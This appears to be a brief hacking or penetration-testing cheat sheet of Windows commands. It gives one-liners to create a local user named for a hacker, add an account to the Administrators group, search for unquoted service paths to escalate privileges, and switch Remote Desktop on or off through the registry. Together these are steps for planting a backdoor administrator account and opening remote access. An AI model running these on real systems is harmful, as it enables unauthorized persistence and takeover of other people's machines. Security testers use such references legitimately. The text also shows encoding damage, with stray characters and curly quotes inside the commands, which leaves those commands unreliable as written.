Windows Commands

Add User to Windows:

  • net user hacker_username hackers_password /add

Add User to Administrators Group:

  • net localgroup Administrators haxor /add

Discover Privilege¬† Escalation’s for Unquoted Service Paths:

  • wmic service get name,displayname,pathname,startmode |findstr /i “Auto” |findstr /i /v “C:\Windows\\” |findstr /i /v “””

Enable Remote Desktop from cmd line:

  • reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f

Disable Remote Desktop from cmd line:

  • reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 1 /f